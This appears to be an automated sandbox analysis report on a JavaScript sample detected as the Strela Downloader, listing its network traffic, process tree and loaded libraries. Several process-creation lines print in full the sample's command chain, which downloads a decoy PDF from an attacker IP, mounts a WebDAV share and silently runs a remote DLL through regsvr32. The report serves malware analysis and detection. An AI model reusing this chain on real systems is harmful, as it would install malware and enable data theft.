HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2245176487.0000013044DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2348930952.000001B827A9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2353935501.000001B827A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2353157187.000001B827A83000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2354004612.000001B827A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2353157187.000001B827A83000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2354004612.000001B827A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888//
Source: net.exe, 00000007.00000002.2353935501.000001B827A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3531641076.000001A0F5600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2354510135.000001A0F5430000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3668, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 229242754773566299.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3252

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3136:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ponoqtsq.txf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1380,i,12313023913418005986,17270037766664575740,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1380,i,12313023913418005986,17270037766664575740,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
